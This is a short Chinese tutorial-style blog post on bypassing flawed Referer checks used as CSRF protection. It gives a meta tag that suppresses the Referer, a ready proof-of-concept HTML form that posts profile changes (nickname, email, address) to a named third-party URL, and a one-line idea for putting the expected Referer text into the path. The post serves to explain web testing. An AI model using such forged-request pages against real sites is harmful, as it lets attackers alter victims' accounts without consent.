csrf绕过后端referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。
正常的情况指服务器端校验referer的代码没毛病,那么意味着前端是无法绕过的。
我之前考虑过的方案:
不正常的情况指服务器端校验referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过referer的案例;
可以尝试无referer标签,万一逻辑刚好没判断无referer的情况呢;
<meta name="referrer" content="never">
<html> <meta name="referrer" content="never"> <body> <script>history.pushstate('', '', '/')</script> <!-- 实现浏览器页面不刷新修改url链接 --> <form action="http://www.baidu.com/setprofile" method="post"> <input type="hidden" name="nickname" value="new22" /> <input type="hidden" name="email" value="1@1.com" /> <input type="hidden" name="team" value="new22" /> <input type="hidden" name="address" value="new33" /> <input type="submit" value="submit request" /> </form> </body> </html>
原理就是在路径上创建成原本referer中有的字段名,如果校验只是判断是否包含,那就666了;
如对本文有疑问, 点击进行留言回复!!
2016年信息安全工程师综合知识第11-15题解析【建群网培信息安全工程师】
网友评论